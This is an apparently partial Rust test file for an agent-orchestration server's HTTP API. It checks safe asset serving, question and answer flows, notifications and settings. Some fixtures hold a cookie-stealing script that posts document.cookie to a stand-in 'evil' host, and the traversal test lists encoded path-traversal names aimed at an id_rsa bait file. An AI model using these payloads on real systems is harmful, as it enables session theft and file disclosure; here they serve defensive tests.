8309 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8310 let id = panel(
8311 &fx,
8312 "<img src=\"diff.svg\"><img src=\"shot.png\">",
8313 &[("diff.svg", svg), ("shot.png", png)],
8314 );
8315
8316 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8317 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8318
8319 assert_eq!(as_svg.status, 200);
8320 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8321 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8326
8327 assert_eq!(as_png.status, 200);
8328 assert_eq!(as_png.header("content-type"), Some("image/png"));
8329 assert_eq!(
8330 as_png.header("content-disposition"),
8331 None,
8332 "a raster image has no execution surface, so tapping it still shows it"
8333 );
8334 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8335 }
8336
8337 #[tokio::test]
8338 async fn an_html_asset_is_never_served_as_html() {
8339 let fx = Fixture::start().await;
8340 let id = panel(
8341 &fx,
8342 "<p>see the notes</p>",
8343 &[
8344 (
8345 "notes.html",
8346 b"<script>fetch('http://evil/'+document.cookie)</script>",
8347 ),
8348 ("hook.js", b"fetch('http://evil/')"),
8349 ("data.json", b"{}"),
8350 ("HEADLINE.TXT", b"plain"),
8351 ],
8352 );
8353
8354 for name in ["notes.html", "hook.js", "data.json"] {
8355 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8356 assert_eq!(res.status, 200, "{name}: {}", res.body);
8357 assert_eq!(
8362 res.header("content-type"),
8363 Some("application/octet-stream"),
8364 "{name} must not be a type the browser will execute or render"
8365 );
8366 }
8367 let txt = fx
8370 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8371 .await;
8372 assert_eq!(
8373 txt.header("content-type"),
8374 Some("text/plain; charset=utf-8")
8375 );
8376 }
8377
8378 #[tokio::test]
8379 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8380 let fx = Fixture::start().await;
8381 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8382 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8386
8387 for encoded in [
8394 "%2e%2e%2fid_rsa",
8395 "..%2fid_rsa",
8396 "..%5cid_rsa",
8397 "%2e%2e%5cid_rsa",
8398 "diff%00.svg",
8399 "..",
8400 ".hidden",
8401 "%2e%2e%2f%2e%2e%2fid_rsa",
8402 ] {
8403 let res = fx
8404 .get(&format!("/api/questions/{id}/asset/{encoded}"))
8405 .await;
8406 assert_eq!(
8407 res.status, 400,
8408 "`{encoded}` has to be refused by name, not looked up: {}",
8409 res.body
8410 );
8411 assert!(res.json()["error"].is_string(), "{}", res.body);
8412 }
8413
8414 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8420 let res = fx
8421 .get(&format!("/api/questions/{id}/asset/{literal}"))
8422 .await;
8423 assert_eq!(
8424 res.status, 404,
8425 "`{literal}` must not match the asset route at all: {}",
8426 res.body
8427 );
8428 }
8429 }
8430
8431 #[tokio::test]
8432 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8433 let fx = Fixture::start().await;
8434 let plain = ask(&fx, "Which backend?", &["SQLite"]);
8435 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8436
8437 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8441 assert_eq!(none.status, 404, "{}", none.body);
8442 assert!(none.json()["error"].is_string(), "{}", none.body);
8443 assert_eq!(
8444 fx.head(&format!("/api/questions/{plain}/panel"))
8445 .await
8446 .status,
8447 404,
8448 "the preflight is the only way the client can learn this"
8449 );
8450
8451 let missing = fx
8453 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8454 .await;
8455 assert_eq!(missing.status, 404, "{}", missing.body);
8456 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8457
8458 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8460 assert_eq!(
8461 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8462 404
8463 );
8464 }
8465
8466 #[tokio::test]
8467 async fn a_run_with_an_open_question_reads_as_waiting() {
8468 let fx = Fixture::start().await;
8469 let run = "20260902-000000-beef".to_owned();
8470 write_run(&fx.runs(), &run, RunStatus::Implementing);
8471
8472 let before = fx.get("/api/runs").await.json();
8473 assert_eq!(before[0]["waiting"], false, "{before}");
8474
8475 let store = fx.questions();
8476 let mut q = Question::new(
8477 run.clone(),
8478 "implement".to_owned(),
8479 "impl-A".to_owned(),
8480 "Which backend?".to_owned(),
8481 String::new(),
8482 vec!["SQLite".to_owned()],
8483 );
8484 store.put(&mut q).expect("put");
8485
8486 let during = fx.get("/api/runs").await.json();
8487 assert_eq!(during[0]["waiting"], true, "{during}");
8488
8489 q.answer(Answer::Choice("SQLite".to_owned()))
8492 .expect("answer");
8493 store.put(&mut q).expect("put");
8494 let after = fx.get("/api/runs").await.json();
8495 assert_eq!(after[0]["waiting"], false, "{after}");
8496 }
8497
8498 #[tokio::test]
8499 async fn an_open_question_is_listed_and_counted_by_health() {
8500 let fx = Fixture::start().await;
8501 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8502
8503 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8504 let listed = fx.get("/api/questions").await.json();
8505 assert_eq!(listed.as_array().expect("array").len(), 1);
8506 assert_eq!(listed[0]["id"], id);
8507 assert_eq!(listed[0]["status"], "open");
8508 assert_eq!(listed[0]["choices"][1], "Redis");
8509 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8512 }
8513
8514 #[tokio::test]
8515 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8516 let fx = Fixture::start().await;
8517 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8518 let path = format!("/api/questions/{id}/answer");
8519
8520 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8521 assert_eq!(res.status, 200, "{}", res.body);
8522 let body = res.json();
8523 assert_eq!(body["status"], "answered");
8524 assert_eq!(body["answer"]["choice"], "Redis");
8525
8526 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8530 assert_eq!(again.status, 409, "{}", again.body);
8531 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8532 }
8533
8534 #[tokio::test]
8535 async fn saying_something_appends_a_turn_without_answering() {
8536 let fx = Fixture::start().await;
8537 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8538 let path = format!("/api/questions/{id}/say");
8539
8540 let res = fx
8541 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8542 .await;
8543 assert_eq!(res.status, 200, "{}", res.body);
8544 let body = res.json();
8545 assert_eq!(body["status"], "open", "talking back is not a decision");
8546 assert_eq!(body["answer"], Value::Null);
8547 assert_eq!(body["thread"][0]["who"], "operator");
8548 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8549 assert_eq!(body["waiting_on_agent"], true);
8550 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8552 }
8553
8554 #[tokio::test]
8555 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8556 let fx = Fixture::start().await;
8557 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8558
8559 let list = fx.get("/api/questions").await.json();
8560 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8561
8562 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8563 assert_eq!(res.status, 409, "{}", res.body);
8564 let q = fx.questions().get(&id).unwrap();
8565 assert!(q.status.open());
8566 assert!(q.consult.is_none());
8567 }
8568
8569 #[tokio::test]
8570 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8571 let fx = Fixture::start().await;
8572 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8573 let cfg = Config {
8574 agents: vec![crate::config::AgentSpec {
8575 id: "mock".to_owned(),
8576 kind: crate::config::AgentKind::Command,
8577 model: None,
8578 command: vec!["true".to_owned()],
8579 extra_args: Vec::new(),
8580 env: Default::default(),
8581 prompt_delivery: None,
8582 }],
8583 ..Config::default()
8584 };
8585 let talk = crate::talk::begin(
8586 &fx.talks(),
8587 &cfg,
8588 fx.home.path().to_path_buf(),
8589 Some("mock"),
8590 )
8591 .unwrap();
8592 let mut task = Task::new(
8593 "t".to_owned(),
8594 "Do it".to_owned(),
8595 PathBuf::from("/repo/magi"),
8596 Source::Agent {
8597 run: talk.id.clone(),
8598 node: crate::queue::CHAT_NODE.to_owned(),
8599 },
8600 );
8601 task.start("20260902-000000-beef".to_owned());
8602 fx.queue().put(&mut task).unwrap();
8603
8604 let list = fx.get("/api/questions").await.json();
8605 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8606 assert_eq!(
8607 list[0]["choices"],
8608 serde_json::json!(["SQLite", "Redis"]),
8609 "the hand-over is never a choice"
8610 );
8611 fx.questions()
8612 .update(&id, |q| {
8613 q.node = crate::land::APPROVAL_NODE.into();
8614 q.choices = vec!["merge".into(), "hold".into()];
8615 Ok(())
8616 })
8617 .unwrap();
8618 let list = fx.get("/api/questions").await.json();
8619 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8620 let _ = id;
8621 }
8622
8623 #[tokio::test]
8624 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8625 let fx = Fixture::start().await;
8626 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8627 fx.questions()
8628 .update(&id, |q| {
8629 q.node = crate::land::APPROVAL_NODE.into();
8630 q.choices = vec!["merge".into(), "hold".into()];
8631 Ok(())
8632 })
8633 .unwrap();
8634 let cfg = Config {
8635 agents: vec![crate::config::AgentSpec {
8636 id: "mock".to_owned(),
8637 kind: crate::config::AgentKind::Command,
8638 model: None,
8639 command: vec!["true".to_owned()],
8640 extra_args: Vec::new(),
8641 env: Default::default(),
8642 prompt_delivery: None,
8643 }],
8644 ..Config::default()
8645 };
8646 let repo = fx.home.path().join("chat-repo");
8648 std::fs::create_dir_all(&repo).unwrap();
8649 let toml = repo.join("magi.toml");
8650 std::fs::write(&toml, "this is = = not toml").unwrap();
8651 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8652 let mut task = Task::new(
8653 "t".to_owned(),
8654 "Do it".to_owned(),
8655 PathBuf::from("/repo/magi"),
8656 Source::Agent {
8657 run: talk.id.clone(),
8658 node: crate::queue::CHAT_NODE.to_owned(),
8659 },
8660 );
8661 task.start("20260902-000000-beef".to_owned());
8662 fx.queue().put(&mut task).unwrap();
8663
8664 let path = format!("/api/questions/{id}/consult");
8665 let res = fx.post(&path, None).await;
8666 assert!(res.status >= 400, "{}", res.body);
8667 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8668 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8669
8670 std::fs::write(&toml, "").unwrap();
8671 let res = fx.post(&path, None).await;
8672 assert_eq!(res.status, 202, "{}", res.body);
8673 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8674 let q = fx.questions().get(&id).unwrap();
8675 assert!(q.status.open());
8676 assert!(q.answer.is_none());
8677 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8678 }
8679
8680 #[tokio::test]
8681 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8682 let fx = Fixture::start().await;
8683 let store = fx.questions();
8684 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8685 assert_eq!(
8686 fx.get("/api/health").await.json()["questions_needs_owner"],
8687 1
8688 );
8689
8690 let res = fx
8696 .post(
8697 &format!("/api/questions/{id}/say"),
8698 Some(r#"{"body":"why not Postgres?"}"#),
8699 )
8700 .await;
8701 assert_eq!(res.status, 200, "{}", res.body);
8702 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8703 assert_eq!(
8704 fx.get("/api/health").await.json()["questions_needs_owner"],
8705 0,
8706 "waiting on the agent is not waiting on the owner"
8707 );
8708
8709 let mut q = store.get(&id).expect("get");
8713 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8714 .expect("reply");
8715 store.put(&mut q).expect("put");
8716 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8717 assert_eq!(
8718 fx.get("/api/health").await.json()["questions_needs_owner"],
8719 1,
8720 "the agent's reply is what should light the banner back up"
8721 );
8722 }
8723
8724 #[tokio::test]
8725 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8726 let fx = Fixture::start().await;
8727 let store = fx.questions();
8728
8729 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8730 let res = fx
8731 .post(
8732 &format!("/api/questions/{empty_id}/say"),
8733 Some(r#"{"body":" "}"#),
8734 )
8735 .await;
8736 assert_eq!(res.status, 400, "{}", res.body);
8737
8738 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8739 let mut answered = store.get(&answered_id).expect("get");
8740 answered
8741 .answer(Answer::Choice("SQLite".to_owned()))
8742 .expect("answer");
8743 store.put(&mut answered).expect("put");
8744 let res = fx
8745 .post(
8746 &format!("/api/questions/{answered_id}/say"),
8747 Some(r#"{"body":"still there?"}"#),
8748 )
8749 .await;
8750 assert_eq!(res.status, 409, "{}", res.body);
8751
8752 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8753 let mut abandoned = store.get(&abandoned_id).expect("get");
8754 abandoned.abandon("timed out");
8755 store.put(&mut abandoned).expect("put");
8756 let res = fx
8757 .post(
8758 &format!("/api/questions/{abandoned_id}/say"),
8759 Some(r#"{"body":"still there?"}"#),
8760 )
8761 .await;
8762 assert_eq!(res.status, 409, "{}", res.body);
8763 }
8764
8765 #[tokio::test]
8766 async fn an_answer_the_question_does_not_offer_is_refused() {
8767 let fx = Fixture::start().await;
8768 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8769 let path = format!("/api/questions/{id}/answer");
8770
8771 for body in [
8772 r#"{"choice":"Postgres"}"#,
8773 r#"{"text":"whatever you think"}"#,
8774 r#"{"choice":"Redis","text":"both"}"#,
8775 r#"{}"#,
8776 ] {
8777 let res = fx.post(&path, Some(body)).await;
8778 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8779 assert!(res.json()["error"].is_string(), "{}", res.body);
8780 }
8781 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8783 }
8784
8785 #[tokio::test]
8786 async fn a_free_text_question_takes_text_and_not_a_choice() {
8787 let fx = Fixture::start().await;
8788 let id = ask(&fx, "What should the flag be called?", &[]);
8789 let path = format!("/api/questions/{id}/answer");
8790
8791 assert_eq!(
8792 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8793 400
8794 );
8795 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8796 assert_eq!(res.status, 200, "{}", res.body);
8797 assert_eq!(res.json()["answer"]["text"], "--json");
8798 }
8799
8800 #[tokio::test]
8801 async fn an_unknown_question_is_a_json_404() {
8802 let fx = Fixture::start().await;
8803 let res = fx
8804 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8805 .await;
8806 assert_eq!(res.status, 404, "{}", res.body);
8807 assert!(res.json()["error"].is_string());
8808 }
8809
8810 #[tokio::test]
8811 async fn notifications_list_read_dismiss_and_health_agree() {
8812 let fx = Fixture::start().await;
8813 let store = Notices::at(fx.home.path().join("notifications"));
8814 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8815 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8816
8817 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8818 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8819
8820 let health = fx.get("/api/health").await.json();
8821 assert_eq!(health["notifications_unread"], 2);
8822 assert_ne!(
8823 health["notifications_rev"], rev0,
8824 "the badge must move live"
8825 );
8826
8827 let listed = fx.get("/api/notifications").await.json();
8828 assert_eq!(listed["unread"], 2);
8829 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8830 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8831
8832 let read = fx
8833 .post(&format!("/api/notifications/{}/read", a.id), None)
8834 .await;
8835 assert_eq!(read.status, 200, "{}", read.body);
8836 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8837
8838 let gone = fx
8839 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8840 .await;
8841 assert_eq!(gone.status, 200, "{}", gone.body);
8842 let listed = fx.get("/api/notifications").await.json();
8843 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8844 assert_eq!(listed["unread"], 0);
8845
8846 store.raise(Notice::info("x", "again")).unwrap();
8847 let all = fx.post("/api/notifications/read-all", None).await;
8848 assert_eq!(all.status, 200, "{}", all.body);
8849 assert_eq!(all.json()["marked"], 1);
8850 assert_eq!(
8851 fx.get("/api/health").await.json()["notifications_unread"],
8852 0
8853 );
8854
8855 let missing = fx.post("/api/notifications/nope/read", None).await;
8856 assert_eq!(missing.status, 404, "{}", missing.body);
8857 assert!(missing.json()["error"].is_string());
8858 }
8859
8860 #[tokio::test]
8867 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8868 let f = Fixture::start().await;
8869
8870 let res = f
8871 .post(
8872 "/api/queue",
8873 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8874 )
8875 .await;
8876
8877 assert_eq!(
8878 res.status, 405,
8879 "POST /api/queue must not be a route: {}",
8880 res.body
8881 );
8882 assert!(
8883 f.queue().list().is_empty(),
8884 "a task filed by a route that does not exist must not reach the disk"
8885 );
8886 assert_eq!(f.get("/api/queue").await.status, 200);
8889 }
8890
8891 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8893 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8894 .expect("checkout dir");
8895 }
8896
8897 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8899
8900 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8901 let tmp = TempDir::new().expect("tempdir");
8902 let repo = tmp.path().join("repo");
8903 std::fs::create_dir_all(&repo).expect("repo dir");
8904 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8905 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8906 if let Some(text) = machine_toml {
8907 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8908 std::fs::write(&machine, text).expect("machine toml");
8909 }
8910 (tmp, repo, machine)
8911 }
8912
8913 #[tokio::test]
8914 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8915 let (_tmp, repo, machine) =
8916 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8917 let f = Fixture::with_repo_and_machine(repo, machine).await;
8918 let res = f.get("/api/settings").await;
8919 assert_eq!(res.status, 200, "{}", res.body);
8920 let v = res.json();
8921 assert!(v["error"].is_null(), "{v}");
8922 let role = |k: &str| {
8923 v["roles"]
8924 .as_array()
8925 .and_then(|r| r.iter().find(|x| x["key"] == k))
8926 .cloned()
8927 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8928 };
8929 assert_eq!(role("judges")["source"], "machine");
8930 assert_eq!(role("judges")["editable"], true);
8931 assert_eq!(role("implementers")["source"], "default");
8932 let adv = role("advisors");
8933 assert_eq!(adv["fallback"], "judges");
8934 assert!(
8935 adv["seats"]
8936 .as_array()
8937 .is_some_and(|s| s.iter().all(|x| x == "b")),
8938 "{adv}"
8939 );
8940 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8941 assert_eq!(v["agents"][0]["source"], "repo");
8942 }
8943
8944 #[tokio::test]
8945 async fn settings_get_reports_a_config_that_does_not_parse() {
8946 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8947 let f = Fixture::with_repo_and_machine(repo, machine).await;
8948 let res = f.get("/api/settings").await;
8949 assert_eq!(res.status, 200, "{}", res.body);
8950 let v = res.json();
8951 assert!(v["error"]["message"].is_string(), "{v}");
8952 assert!(
8953 v["error"]["path"]
8954 .as_str()
8955 .is_some_and(|p| p.ends_with("magi.toml")),
8956 "{v}"
8957 );
8958 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8959 }
8960
8961 #[tokio::test]
8962 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8963 let (_tmp, repo, machine) = settings_dirs(
8964 SETTINGS_AGENTS,
8965 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8966 );
8967 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8968 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8969 let rev = f.get("/api/settings").await.json()["revision"]
8970 .as_str()
8971 .expect("revision")
8972 .to_owned();
8973 let body = serde_json::json!({
8974 "revision": rev,
8975 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8976 })
8977 .to_string();
8978 let res = f.put("/api/settings/roles", &body).await;
8979 assert_eq!(res.status, 200, "{}", res.body);
8980 let text = std::fs::read_to_string(&machine).expect("machine");
8981 assert_eq!(
8982 text,
8983 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8984 );
8985 assert_eq!(
8986 std::fs::read(repo.join("magi.toml")).expect("read"),
8987 repo_before
8988 );
8989 let again = f.get("/api/settings").await.json();
8990 let judges = again["roles"]
8991 .as_array()
8992 .expect("roles")
8993 .iter()
8994 .find(|r| r["key"] == "judges")
8995 .expect("judges")
8996 .clone();
8997 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8998 let stale = f.put("/api/settings/roles", &body).await;
9000 assert_eq!(stale.status, 409, "{}", stale.body);
9001 }
9002
9003 #[tokio::test]
9004 async fn settings_counts_are_reported_and_saved() {
9005 let (_tmp, repo, machine) = settings_dirs(
9006 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
9007 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
9008 );
9009 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9010 let v = f.get("/api/settings").await.json();
9011 let count = |v: &serde_json::Value, k: &str| {
9012 v["roles"]
9013 .as_array()
9014 .and_then(|r| r.iter().find(|x| x["key"] == k))
9015 .map(|x| x["count"].clone())
9016 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9017 };
9018 let imp = count(&v, "implementers");
9019 assert_eq!(imp["value"], 2);
9020 assert_eq!(imp["source"], "machine");
9021 assert_eq!(imp["file_key"], "candidates");
9022 assert_eq!(imp["roster_len"], 2);
9023 assert_eq!(imp["backups"], 0);
9024 assert_eq!(count(&v, "judges")["source"], "default");
9025 assert_eq!(count(&v, "advisors")["min"], 0);
9026 assert_eq!(count(&v, "reviewers")["editable"], false);
9027 assert!(
9028 count(&v, "reviewers")["locked_reason"]
9029 .as_str()
9030 .is_some_and(|m| m.contains("graph.reviewers"))
9031 );
9032 assert!(count(&v, "fixer").is_null());
9033 let rev = v["revision"].as_str().expect("revision").to_owned();
9034 let body = serde_json::json!({
9035 "revision": rev,
9036 "roles": { "judges": ["b"] },
9037 "counts": { "implementers": 1, "advisors": 0 }
9038 })
9039 .to_string();
9040 let res = f.put("/api/settings/roles", &body).await;
9041 assert_eq!(res.status, 200, "{}", res.body);
9042 let text = std::fs::read_to_string(&machine).expect("machine");
9043 assert_eq!(
9044 text,
9045 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9046 );
9047 let after = f.get("/api/settings").await.json();
9048 assert_eq!(count(&after, "implementers")["value"], 1);
9049 assert_eq!(count(&after, "implementers")["backups"], 1);
9050 assert_eq!(count(&after, "advisors")["value"], 0);
9051 let before = std::fs::read_to_string(&machine).expect("machine");
9052 let rev = after["revision"].as_str().expect("revision").to_owned();
9053 for counts in [
9054 serde_json::json!({ "judges": 0 }),
9055 serde_json::json!({ "judges": "x" }),
9056 serde_json::json!({ "judges": 2.5 }),
9057 serde_json::json!({ "judges": -1 }),
9058 serde_json::json!({ "reviewers": 3 }),
9059 serde_json::json!({ "bogus": 3 }),
9060 ] {
9061 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9062 let res = f.put("/api/settings/roles", &body).await;
9063 assert_eq!(res.status, 422, "{counts}: {}", res.body);
9064 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9065 }
9066 }
9067
9068 #[tokio::test]
9069 async fn settings_put_refuses_without_touching_the_file() {
9070 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
9071 let (_tmp, repo, machine) = settings_dirs(
9072 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
9073 Some(machine_text),
9074 );
9075 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9076 let rev = f.get("/api/settings").await.json()["revision"]
9077 .as_str()
9078 .expect("revision")
9079 .to_owned();
9080 for roles in [
9081 serde_json::json!({ "judges": ["nope"] }),
9082 serde_json::json!({ "reviewers": ["b"] }),
9083 serde_json::json!({ "bogus": ["a"] }),
9084 ] {
9085 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
9086 let res = f.put("/api/settings/roles", &body).await;
9087 assert_eq!(res.status, 422, "{roles}: {}", res.body);
9088 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
9089 assert_eq!(
9090 std::fs::read_to_string(&machine).expect("machine"),
9091 machine_text
9092 );
9093 }
9094 }
9095
9096 #[tokio::test]
9097 async fn repos_list_returns_name_and_path_for_every_configured_root() {
9098 let tmp = TempDir::new().expect("tempdir");
9099 let repo = tmp.path().join("repo");
9100 std::fs::create_dir_all(&repo).expect("repo dir");
9101 let root = tmp.path().join("root");
9102 make_checkout(&root, "github.com", "yukimemi", "magi");
9103 std::fs::write(
9104 repo.join("magi.toml"),
9105 format!(
9106 "[repos]\nroots = [{:?}]\n",
9107 root.to_string_lossy().into_owned()
9108 ),
9109 )
9110 .expect("write magi.toml");
9111
9112 let f = Fixture::with_repo(repo).await;
9113 let res = f.get("/api/repos").await;
9114 assert_eq!(res.status, 200, "{}", res.body);
9115 let list = res.json();
9116 let repos = list.as_array().expect("an array");
9117 assert_eq!(repos.len(), 1);
9118 assert_eq!(repos[0]["name"], "yukimemi/magi");
9119 assert!(
9120 repos[0]["path"]
9121 .as_str()
9122 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
9123 "{list}"
9124 );
9125 }
9126
9127 #[tokio::test]
9128 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
9129 let tmp = TempDir::new().expect("tempdir");
9130 let repo = tmp.path().join("repo");
9131 std::fs::create_dir_all(&repo).expect("repo dir");
9132 let root = tmp.path().join("root");
9133 make_checkout(&root, "github.com", "yukimemi", "magi");
9134 std::fs::write(
9135 repo.join("magi.toml"),
9136 format!(
9137 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
9138 root.to_string_lossy().into_owned()
9139 ),
9140 )
9141 .expect("write magi.toml");
9142
9143 let f = Fixture::with_repo(repo).await;
9144 let first = f.get("/api/repos").await;
9145 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
9146
9147 make_checkout(&root, "github.com", "yukimemi", "rvpm");
9150 let second = f.get("/api/repos").await;
9151 assert_eq!(
9152 second.json().as_array().map(Vec::len),
9153 Some(1),
9154 "a fresh cache must not rescan inside the TTL"
9155 );
9156
9157 let refreshed = f.get("/api/repos?refresh=1").await;
9158 assert_eq!(
9159 refreshed.json().as_array().map(Vec::len),
9160 Some(2),
9161 "an explicit refresh must rescan even inside the TTL"
9162 );
9163 }
9164
9165 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
9171
9172 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
9176 let tmp = TempDir::new().expect("tempdir");
9177 let repo = tmp.path().join("repo");
9178 std::fs::create_dir_all(&repo).expect("repo dir");
9179 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9180 let f = Fixture::with_repo(repo.clone()).await;
9181 (tmp, repo, f)
9182 }
9183
9184 #[tokio::test]
9185 async fn posting_a_talk_with_remembered_choices_is_soft() {
9186 let (_tmp, _repo, f) = talk_fixture().await;
9187
9188 let good = f
9189 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
9190 .await;
9191 assert_eq!(good.status, 201, "{}", good.body);
9192 assert_eq!(good.json()["persona"], "rei");
9193
9194 let stale = f
9196 .post(
9197 "/api/talks",
9198 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
9199 )
9200 .await;
9201 assert_eq!(stale.status, 201, "{}", stale.body);
9202 let v = stale.json();
9203 assert_eq!(v["implementers"], 1);
9204 assert_ne!(v["persona"], "nobody");
9205 let typed = f
9206 .post(
9207 "/api/talks",
9208 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
9209 )
9210 .await;
9211 assert_eq!(typed.status, 201, "{}", typed.body);
9212
9213 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
9215 assert!(
9216 !strict.status.to_string().starts_with('2'),
9217 "{}",
9218 strict.body
9219 );
9220 }
9221
9222 #[tokio::test]
9223 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
